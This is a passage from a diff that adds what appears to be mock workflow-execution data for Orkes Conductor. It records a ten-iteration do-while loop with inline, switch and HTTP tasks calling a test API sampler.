"Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9295, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "bgnycyjkhkdmiqsnjpcm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 3: { + http_ref_1: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5570, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "sxopfwobgmlbyhectkue", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 3, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1008, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "drzushsnuxfkfbxjqvfh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 4: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3964, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qsrrgcyapbgeuoceizaa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6761, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "taupmlrpyhpzpsulaxqo", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 5: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 698, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "aobgjizxlwgiwdasfclh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6970, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "igwwnykfobqdnkxmafab", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 6: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2489, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "vbksjctcduvxcucqtykv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8930, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "purhjvrqkogxpcyjifxv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 7: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 970, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "abxkbgqcvgvqnxjcishg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5965, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "cozkeartchukblaomchw", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 8: { + http_ref_1: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5144, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "ffeeyciploflvzcqtrsc", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 3, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9726, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qmkipozchmypxunkkkzd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 9: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1122, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "qixyannkpllogxldfyqi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2780, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "jklxzsbanazwjffbarxi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 10: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7706, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "wadmrkumznvlcrfbfpoz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 944, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "piubltpqkibleiqpmeno", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + iteration: 10, + }, + workflowTask: { + name: "do_while", + taskReferenceName: "do_while_ref", + inputParameters: { + number: 10, + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\n if ($.do_while_ref['iteration'] < $.number) {\n return true;\n }\n return false;\n})();", + loopOver: [ + { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + inline_ref: { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__1", + retryCount: 0, + seq: 3, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413856975, + startTime: 1713413856975, + endTime: 1713413857004, + updateTime: 1713413856975, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "967c418b-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__1", + retryCount: 0, + seq: 3, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413856975, + startTime: 1713413856975, + endTime: 1713413857004, + updateTime: 1713413856975, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "967c418b-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__2", + retryCount: 0, + seq: 7, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413857247, + startTime: 1713413857247, + endTime: 1713413857262, + updateTime: 1713413857247, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96a5e99f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 2, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__3", + retryCount: 0, + seq: 11, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413857465, + startTime: 1713413857465, + endTime: 1713413857480, + updateTime: 1713413857465, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96c70633-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__4", + retryCount: 0, + seq: 15, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413857687, + startTime: 1713413857687, + endTime: 1713413857702, + updateTime: 1713413857687, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96e90d27-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__5", + retryCount: 0, + seq: 19, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413857930, + startTime: 1713413857930, + endTime: 1713413857945, + updateTime: 1713413857930, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "970e215b-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__6", + retryCount: 0, + seq: 23, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413858154, + startTime: 1713413858154, + endTime: 1713413858196, + updateTime: 1713413858154, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97304f5f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__7", + retryCount: 0, + seq: 27, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413858383, + startTime: 1713413858383, + endTime: 1713413858402, + updateTime: 1713413858383, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "975319a3-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 2, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__8", + retryCount: 0, + seq: 31, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413858598, + startTime: 1713413858598, + endTime: 1713413858615, + updateTime: 1713413858598, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9773e817-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__9", + retryCount: 0, + seq: 35, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413858836, + startTime: 1713413858836, + endTime: 1713413858852, + updateTime: 1713413858836, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "979811eb-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__10", + retryCount: 0, + seq: 39, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413859056, + startTime: 1713413859056, + endTime: 1713413859075, + updateTime: 1713413859056, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97b9cabf-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 2, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + switch_ref: { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__1", + retryCount: 0, + seq: 4, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857015, + startTime: 1713413857015, + endTime: 1713413857015, + updateTime: 1713413857015, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: 